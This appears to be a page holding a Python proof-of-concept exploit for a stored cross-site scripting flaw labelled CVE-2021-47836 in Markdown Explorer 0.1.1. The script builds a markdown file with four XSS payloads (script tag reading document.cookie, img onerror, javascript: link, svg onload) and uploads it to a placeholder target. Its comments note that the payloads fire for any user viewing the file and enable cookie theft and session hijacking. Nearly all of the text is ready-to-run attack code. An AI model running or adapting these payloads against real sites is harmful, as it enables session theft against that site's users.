CVE-2021-47836 Markdown Explorer存储型XSS漏洞

# CVE-2021-47836 Markdown Explorer Stored XSS PoC # This PoC demonstrates how to exploit the stored XSS vulnerability # in Markdown Explorer 0.1.1 import requests import json TARGET_URL = "http://target.com/markdown-explorer" def create_malicious_markdown(): """ Create a malicious markdown file with XSS payload """ # Method 1: Using script tag payload1 = """<script>alert(document.cookie)</script>""" # Method 2: Using img onerror event payload2 = """<img src=x onerror=alert('XSS')>""" # Method 3: Using anchor with javascript protocol payload3 = """[Click me](javascript:alert('XSS'))""" # Method 4: Using event handlers payload4 = """<svg/onload=alert(document.domain)>""" # Combine payloads into markdown malicious_content = f"""# Malicious File {payload1} {payload2} {payload3} {payload4} This file contains XSS payloads. """ return malicious_content def upload_malicious_file(): """ Upload the malicious markdown file to the server """ files = { 'file': ('malicious.md', create_malicious_markdown(), 'text/markdown') } try: response = requests.post(f"{TARGET_URL}/upload", files=files) print(f"Upload Response: {response.status_code}") print(response.text) return response.json() except Exception as e: print(f"Error uploading file: {e}") return None def main(): print("=" * 50) print("CVE-2021-47836 Exploitation PoC") print("=" * 50) # Step 1: Create malicious markdown content print("\n[1] Creating malicious markdown file...") content = create_malicious_markdown() print(f"Payload created: {len(content)} bytes") # Step 2: Upload the file print("\n[2] Uploading malicious file...") result = upload_malicious_file() if result: print("\n[3] File uploaded successfully!") print("[!] When any user views this file, the XSS payload will execute") print("[!] This can lead to cookie theft, session hijacking, etc.") if __name__ == "__main__": main()